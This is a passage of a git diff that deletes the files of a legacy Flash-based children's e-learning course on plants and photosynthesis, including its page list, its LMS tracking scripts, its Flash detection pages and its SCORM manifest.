-      </copyrightandotherrestrictions>
-   </rights>
-   <classification>
-      <purpose>
-         <source>
-            <langstring xml:lang="x-none">LOMv1.0</langstring>
-         </source>
-         <value>
-            <langstring xml:lang="x-none">Educational Objective</langstring>
-         </value>
-      </purpose>
-      <description>
-         <langstring>AAAAAAAAA</langstring>
-      </description>
-  <keyword>
-         <langstring>AAAAAAAAA</langstring>
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diff --git a/Explore/elr/Science/S0002/Content.doc b/Explore/elr/Science/S0002/Content.doc
deleted file mode 100755
index 2d01003..0000000
--- a/Explore/elr/Science/S0002/Content.doc
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/course.xml b/Explore/elr/Science/S0002/course.xml
deleted file mode 100755
index eafb04c..0000000
--- a/Explore/elr/Science/S0002/course.xml
+++ /dev/null
@@ -1,184 +0,0 @@
-<Modules>
-<Transcript>No</Transcript>
-<AssessmentNavigation>No</AssessmentNavigation>
-<Help>No</Help>
-<Glossary>Yes</Glossary>
-<Resources>No</Resources>
-<Exit>Yes</Exit>
-
-<Module>
-	<ModuleName>Plants and Photosynthesis</ModuleName>
-	<Lessons>
-		<Lesson>
-			<LessonName>Introduction to Plants and Photosynthesis</LessonName>
-			<Pages>
-				<Page>
-					<PageName>media/lesson_00/pg01.swf</PageName>
-					<PageTitleName>Introduction</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_00/pg02.swf</PageName>
-					<PageTitleName>What's Your Name?</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_01/pg01.swf</PageName>
-					<PageTitleName>Different Parts of a Plant</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_01/pg02.swf</PageName>
-					<PageTitleName>Flowers</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_01/pg03.swf</PageName>
-					<PageTitleName>Parts of a Flower</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-                <Page>
-					<PageName>media/lesson_01/pg04.swf</PageName>
-					<PageTitleName>Fruits</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_01/pg05.swf</PageName>
-					<PageTitleName>Seeds</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-				<PageName>media/lesson_01/pg06.swf</PageName>
-					<PageTitleName>Leaves</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_01/pg07.swf</PageName>
-					<PageTitleName>Stems</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_01/pg08.swf</PageName>
-					<PageTitleName>Roots</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_02/pg01.swf</PageName>
-					<PageTitleName>What's Photosynthesis?</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_02/pg02.swf</PageName>
-					<PageTitleName>Photosynthesis: Photo + Synthesis</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				<Page>
-					<PageName>media/lesson_02/pg03.swf</PageName>
-					<PageTitleName>Importance of Photosynthesis</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-				<Page>
-					<PageName>media/lesson_02/pg04.swf</PageName>
-					<PageTitleName>Recap</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-				<Page>
-					<PageName>media/lesson_03/pg01.swf</PageName>
-					<PageTitleName>Summary</PageTitleName>
-					<LessonNum>1</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>Yes</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-			</Pages>
-		</Lesson>
-	</Lessons>
-   </Module>
-</Modules>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0002/efk_shell.html b/Explore/elr/Science/S0002/efk_shell.html
deleted file mode 100755
index 50dceac..0000000
--- a/Explore/elr/Science/S0002/efk_shell.html
+++ /dev/null
@@ -1,206 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<style type="text/css">
-<!--
-	html, body {width:100%; height:100%; margin:0px; padding:0px;}
--->
-</style>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
-<title>efk_shell</title>
-<script language="JavaScript" name="cmifrag">
-<!--
-//AICC tracking code inserted for Macromedia's Learning Interactions
-//Flash MX 2004
-//Modified by Andrew Chemey (08/06/03)
-//Copyright 2003 Macromedia, Inc. All rights reserved.
-function goPage(loc){
-	parent.location = loc;
-}
-function findcmiframe(sp) {
-	if (sp==null) sp=window.parent;
-	if (sp.frames.length && sp.cmiframe != null)
-		return sp.cmiframe;
-	else if (sp != window.top)
-		return findcmiframe(sp.parent);
-	else return null;
-}
-var aurl;
-function setaurl(url) {
-	tmpp=url.toUpperCase();
-	if ((pos=tmpp.indexOf('AICC_URL'))>-1) {
-		aurl=url.substring(pos+9,tmpp.length);
-		if (aurl.indexOf('&')>0)
-			aurl=aurl.substring(0,aurl.indexOf('&'));
-		aurl=unescape(aurl);
-		if (aurl.toUpperCase().indexOf("HTTP://") == -1)
-			aurl	= "http://" + aurl;
-		return true;
-	}
-	return false;
-}
-function fndUrl(win) {
-	if (setaurl(win.document.location+'') == false) {
-		if (win == window.top) return false;
-		return (fndUrl(win.parent));
-	}
-	return true;
-}
-if (findcmiframe(null)==null) {
-	var cmi;
-	if (document.command == null) {
-		if (fndUrl(window)) {
-			document.write("<form action="+aurl+" method=\'POST\' target=\'cmiresults\' name=\'command\'><input type=\'hidden\' name=\'command\'><input type=\'hidden\' name=\'session_id\'><input type=\'hidden\' name=\'version\' value=\'2.0\'><input type=\'hidden\' name=\'aicc_data\'></form>");
-		}
-	}
-}
-//Function creates a new object for tracking
-function trackObject(name, score, weight, possible) {
-	this.name = name;
-	this.score = score;
-	this.trackWeight = weight;
-	this.possibleCorrect = possible;
-	this.e = 0;
-}
-//Create new object called G01
-G01 = new trackObject("Flash Learning Object", 0, 1, 1);
-//-->
-</script>
-<script language="JavaScript" src="scripts/behCourseBuilder.js"> </script>
-<script language="JavaScript" src="scripts/cmi.js"> </script>
-</head>
-<body bgcolor="#ffffff">
-<script language="JavaScript">
-<!--
-var InternetExplorer = navigator.appName.indexOf("Microsoft") != -1;
-// Handle all the the FSCommand messages in a Flash movie
-function efk_shell_DoFSCommand(command, args) {
-	var efk_shellObj = InternetExplorer ? efk_shell : document.efk_shell;
-	// CMI CHECK
-	if (!window.CMIIsPresent()) {
-		if (findcmiframe != null) {
-			var frm = findcmiframe(null);
-			if (frm != null) frm.installcmi(window);
-			else if (installcmi != null) {
-				installcmi(window);
-				cmiinit(window);
-			}
-		}
-		if (window.CMIInitialize != null) window.CMIInitialize();
-	}
-	// PLACE CMI MAPPING FOR EACH FUNCTION HERE
-	args = String(args);
-	command = String(command);
-	var F_intData = args.split(";");
-	switch (command){
-		case "MM_StartSession":
-			//If no sessionid, sends user to login page where activity is set and sessionid returned
-			//parameters(loginURL, activityID, activityName)
-			//Does not redirect, if the loginURL is null or an empty string
-			if (!MM_SID && F_intData[0] != ""){
-				goPage(F_intData[0] + "?ActivityID=" + escape(F_intData[1]) + "&ActivityName=" + escape(F_intData[2]) + "&ReferringPage=" + escape(parent.location));
-			}
-			break
-		case "MM_cmiSendInteractionInfo":
-			//MM_cmiSendInteractionInfo(date, time, intid, objid, intrtype, correct, student, result, weight, latency)
-				G01.score = 0;
-			if (F_intData[7].toUpperCase() == "C") G01.score = 1;
-			G01.trackWeight = F_intData[8];
-			if (F_intData[4] == "F"){
-				var sTmp = F_intData[5];
-				F_intData[5] = sTmp.replace(/ /gi, "_");
-				sTmp = F_intData[6];
-				F_intData[6] = sTmp.replace(/ /gi, "_");
-			}
-			MM_cmiSendInteractionInfo(F_intData[0],F_intData[1],F_intData[2],F_intData[3],F_intData[4],F_intData[5],F_intData[6],F_intData[7],F_intData[8],F_intData[9]);
-			break
-		case "MM_cmiSendObjectiveInfo":
-			//MM_cmiSendObjectiveInfo(theInt, index, objid, score, status)
-				MM_cmiSendObjectiveInfo(F_intData[0],F_intData[1],F_intData[2],F_intData[3],F_intData[4]);
-			break
-		case "MM_cmiSendScore":
-			//MM_cmiSendScore(theInt, theScore)
-				MM_cmiSendScore(F_intData[0],F_intData[1]);
-			break
-		case "MM_cmiSetLessonStatus":
-			//MM_cmiSetLessonStatus(theStatus)
-				MM_cmiSetLessonStatus(F_intData[0]);
-			break
-		case "CMISetTime":
-			//CMISetTime(t)
-				CMISetTime(F_intData[0]);
-			break
-		case "CMISetCompleted":
-			//CMISetCompleted()
-				CMISetCompleted();
-			break
-		case "CMISetData":
-			//CMISetData(data)
-				CMISetData(F_intData[0]);
-			break
-		case "CMISetFailed":
-			//CMISetFailed()
-				CMISetFailed();
-			break
-		case "CMISetLocation":
-			//CMISetLocation(loc)
-				CMISetLocation(F_intData[0]);
-			break
-		case "CMISetPassed":
-			//CMISetPassed()
-				CMISetPassed();
-			break
-		case "CMISetScore":
-			//CMISetScore(score)
-				CMISetScore(F_intData[0]);
-			break
-		case "CMISetStarted":
-			//CMISetStarted()
-				CMISetStarted();
-			break
-		case "CMISetStatus":
-			//CMISetStatus(stat)
-				CMISetStatus(F_intData[0]);
-			break
-		case "CMISetTimedOut":
-			//CMISetTimedOut()
-				CMISetTimedOut();
-			break
-		case "CMIInitialize":
-			//CMIInitialize()
-			MM_SVal("command","getparam",1);
-			CMIInitialize();
-			break
-		case "CMIFinish":
-			//MM_SVal("command","lmsfinish",1);
-			break
-		case "CMIExitAU":
-			MM_SVal("command","exitau",1);
-			break
-	}
-	// END OF CMI FUNCTION MAPPING
-}
-// Hook for Internet Explorer.
-if (navigator.appName && navigator.appName.indexOf("Microsoft") != -1 && navigator.userAgent.indexOf("Windows") != -1 && navigator.userAgent.indexOf("Windows 3.1") == -1) {
-	document.write('<script language=\"VBScript\"\>\n');
-	document.write('On Error Resume Next\n');
-	document.write('Sub efk_shell_FSCommand(ByVal command, ByVal args)\n');
-	document.write('	Call efk_shell_DoFSCommand(command, args)\n');
-	document.write('End Sub\n');
-	document.write('</script\>\n');
-}
-//-->
-</script>
-<!--url's used in the movie-->
-<!--text used in the movie-->
-<!--
-Page 00 / 00
-Page 00 / 00
-Page 00 / 00
--->
-<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" id="efk_shell" width="100%" height="100%" scale="exactfit" align="middle">
-<param name="allowScriptAccess" value="sameDomain" />
-<param name="movie" value="efk_shell.swf" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><embed src="efk_shell.swf" loop="false" menu="false" quality="high" bgcolor="#ffffff" width="100%" height="100%" scale="exactfit" name="efk_shell" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />
-</object>
-</body>
-</html>
diff --git a/Explore/elr/Science/S0002/efk_shell.swf b/Explore/elr/Science/S0002/efk_shell.swf
deleted file mode 100755
index 1bf7fa1..0000000
--- a/Explore/elr/Science/S0002/efk_shell.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/html/fpi_blank.html b/Explore/elr/Science/S0002/html/fpi_blank.html
deleted file mode 100755
index def01f9..0000000
--- a/Explore/elr/Science/S0002/html/fpi_blank.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>ELearning For Kids</TITLE>
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0002/html/fpi_detection.html b/Explore/elr/Science/S0002/html/fpi_detection.html
deleted file mode 100755
index 1484dba..0000000
--- a/Explore/elr/Science/S0002/html/fpi_detection.html
+++ /dev/null
@@ -1,57 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>moock flash player inspector :: v1.3.6 (js)</TITLE>
-
-<!-- Prevent caching in netscape. 
-     Very important cause netscape tends to mangle cached code -->
-<META HTTP-EQUIV="expires" CONTENT="0">
-<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
-
-<!-- import the fpi logic from external javascript files -->
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-init.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-writevb.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-main.js"></SCRIPT>
-
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-<!--############################################################
-  IF YOU'RE USING PAGE REDIRECTION, FOLLOW THESE INSTRUCTIONS
-  1) Put some content here to tell the user what's going on
-     while they wait. something like: 
-  "Detecting Macromedia Flash, please wait..."
-
-  2) Delete everything below this point up to 
-  the NOSCRIPT start tag: <NOSCRIPT>
-  ############################################################-->
-
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">Detecting Macromedia Flash 
-  Player, please wait...</font>
-</center>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="fpi-swap.js"></SCRIPT>
-
-<NOSCRIPT>
-<!--############################################################################
-  HERE WE PROVIDE ALTERNATE CONTENT FOR NON-SCRIPT-SUPPORTING BROWSERS
-  OR BROWSERS THAT HAVE THEIR SCRIPTING TURNED OFF...
-  ############################################################################
-
-  IF YOU ARE USING PAGE REDIRECT, A META REFRESH GOES HERE. DELETE EVERYTHING
-  BETWEEN THE NOSCRIPT TAGS EXCEPT THE FOLLOWING META TAG:
-  <META HTTP-EQUIV="Refresh" CONTENT="10;URL=noflash.html"> 
-  
-  IF YOU ARE USING CONTENT SWAPPING, THE VALUE OF THE alternateContent VARIABLE
-  SHOULD BE REPEATED HERE. DELETE EVERYTHING BETWEEN THE NOSCRIPT TAGS
-  EXCEPT YOUR alternateContent HTML. FOR EXAMPLE:
-  <IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">
-  
-  -->
-</NOSCRIPT>
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0002/html/fpi_flash.html b/Explore/elr/Science/S0002/html/fpi_flash.html
deleted file mode 100755
index 53fe5d4..0000000
--- a/Explore/elr/Science/S0002/html/fpi_flash.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<html>
-<head>
-	<title>ELearning For Kids</title>
-</head>
-
-<body BGCOLOR="#FFFFFF">
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">You have required 
-  Flash Player installed on your machine.<br>
-  Please click above link to launch the course. </font> 
-</center>
-</body>
-</html>
diff --git a/Explore/elr/Science/S0002/html/fpi_no_flash.html b/Explore/elr/Science/S0002/html/fpi_no_flash.html
deleted file mode 100755
index 51143cb..0000000
--- a/Explore/elr/Science/S0002/html/fpi_no_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318.3" height="107." border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have flash player installed on your machine. Please 
-                click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to install latest flash player.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-3,1,619,156" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Science/S0002/html/fpi_upgrade_flash.html b/Explore/elr/Science/S0002/html/fpi_upgrade_flash.html
deleted file mode 100755
index cddd4a3..0000000
--- a/Explore/elr/Science/S0002/html/fpi_upgrade_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have required flash player installed on your machine. 
-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to upgrade flash player. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-327,-67,480,134" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Science/S0002/html/launch.html b/Explore/elr/Science/S0002/html/launch.html
deleted file mode 100755
index 5972c48..0000000
--- a/Explore/elr/Science/S0002/html/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="center" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.<br>Turn on your speakers and keep the volume high as you enter this course.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-181,-78,621,124" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Science/S0002/html/os_browser_detection.html b/Explore/elr/Science/S0002/html/os_browser_detection.html
deleted file mode 100755
index bae128e..0000000
--- a/Explore/elr/Science/S0002/html/os_browser_detection.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="../js/browser-detection.js"></script>
-<script>
- </script>
-</head>
-<body>
-</body>
-</html>
diff --git a/Explore/elr/Science/S0002/html/os_not_compatible_page.html b/Explore/elr/Science/S0002/html/os_not_compatible_page.html
deleted file mode 100755
index 9bd6543..0000000
--- a/Explore/elr/Science/S0002/html/os_not_compatible_page.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                Your computer does not meet the minimum requirements for viewing 
-                this course. It is recommended that you take this course from 
-                any other computer. Please click <a href="http://www.macromedia.com/support/flash/releasenotes/player/rn_6.html#systemrequirements" target="_blank">here</a> 
-                to view System Requirements. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-214,-45,591,157" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Science/S0002/images/bg_03.jpg b/Explore/elr/Science/S0002/images/bg_03.jpg
deleted file mode 100755
index 4c35c15..0000000
--- a/Explore/elr/Science/S0002/images/bg_03.jpg
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/images/efk_logo.png b/Explore/elr/Science/S0002/images/efk_logo.png
deleted file mode 100755
index b84ec18..0000000
--- a/Explore/elr/Science/S0002/images/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Science/S0002/imsmanifest.xml b/Explore/elr/Science/S0002/imsmanifest.xml
deleted file mode 100755
index 3f4dae2..0000000
--- a/Explore/elr/Science/S0002/imsmanifest.xml
+++ /dev/null
@@ -1,57 +0,0 @@
-<?xml version="1.0"?>
-<manifest identifier="MANIFEST_EFK" version="1.2"
-          xmlns="http://www.imsproject.org/xsd/imscp_rootv1p1p2" 
-          xmlns:adlcp="http://www.adlnet.org/xsd/adlcp_rootv1p2"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-          xsi:schemaLocation="http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd 
-                              http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd 
-                              http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd">
-	<organizations default="MANIFESTD_ORG_0001">
-    	<organization identifier="MANIFESTD_ORG_0001">
-			<title>ELearning for kids: Plants</title>
-			<item identifier="ITEM_EFK" identifierref="RESOURCE_EFK_00_00_00_00" isvisible="true">
-				<title>ELearning for kids: Plants</title>
-			</item>
-		<metadata>
-			<schema>ADL SCORM</schema>
-			<schemaversion>1.2</schemaversion>
-			<adlcp:location>metadata.xml</adlcp:location>
-		</metadata>
-    	</organization>
-  	</organizations>
- 	<resources>
-		 <resource identifier="RESOURCE_EFK_00_00_00_00" type="webcontent" href="index.html" adlcp:scormtype="sco">
-	        <file href="index.html" />
-			<dependency identifierref="RESOURCE_EFK_00_00_00_00_r" /> 
-		</resource>
-        <resource identifier="RESOURCE_EFK_00_00_00_00_r" type="webcontent" href="efk_shell.swf" adlcp:scormtype="asset">			
-			
-			<file href="js/scorm_api.js" />
-			<file href="js/browser-detection.js" />
-			<file href="js/fpi-init.js" />
-			<file href="js/fpi-main.js" />
-			<file href="js/fpi-swap.js" />
-			<file href="js/fpi-writevb.js" />
-
-			<file href="course.xml" />		
-			<file href="efk_shell.swf" />
-			<file href="index.html" />
-			<file href="launch.html" />
-
-			<file href="html/fpi_blank.html" />
-			<file href="html/fpi_detection.html" />
-			<file href="html/fpi_flash.html" />
-			<file href="html/fpi_no_flash.html" />
-			<file href="html/fpi_upgrade_flash.html" />
-			<file href="html/launch.html" />
-			<file href="html/os_browser_detection.html" />
-			<file href="html/os_not_compatible_page.html" />
-
-			<file href="images/launch.gif" />
-			<file href="images/bg_03.jpg" />
-			<file href="images/efk_logo.png" />
-
-			
-		</resource>	
-	</resources>
-</manifest>
diff --git a/Explore/elr/Science/S0002/index.html b/Explore/elr/Science/S0002/index.html
deleted file mode 100755
index 7bc8ccc..0000000
--- a/Explore/elr/Science/S0002/index.html
+++ /dev/null
@@ -1,33 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="js/scorm_api.js"></script>
-<script>
-function fnpopup(){
-    var wo=window.open("../launch.html","efk_course",'top=0, left=0, scrollbars=0,resizable=0, fullScreen=yes, dependent=yes');
-	if (wo==null || typeof(wo)=="undefined") {
-		alert("We have noticed that you are using a pop-up blocker; to view this site correctly you will need to switch off any pop-up blocking software.");
-	} 
-	wo.focus();
- }
- </script>
- <script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
-type='text/javascript'%3E%3C/script%3E"));
-</script>
-<script type="text/javascript">
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
-</head>
-<frameset rows="100,0" frameborder="Yes" border="0" framespacing="0" onload="initSco()" onUnLoad="finish()">
-  <frame src="html/os_browser_detection.html" name="mainFrame">
-  <frame src="html/fpi_blank.html" name="bottomFrame" scrolling="auto" noresize>
-</frameset>
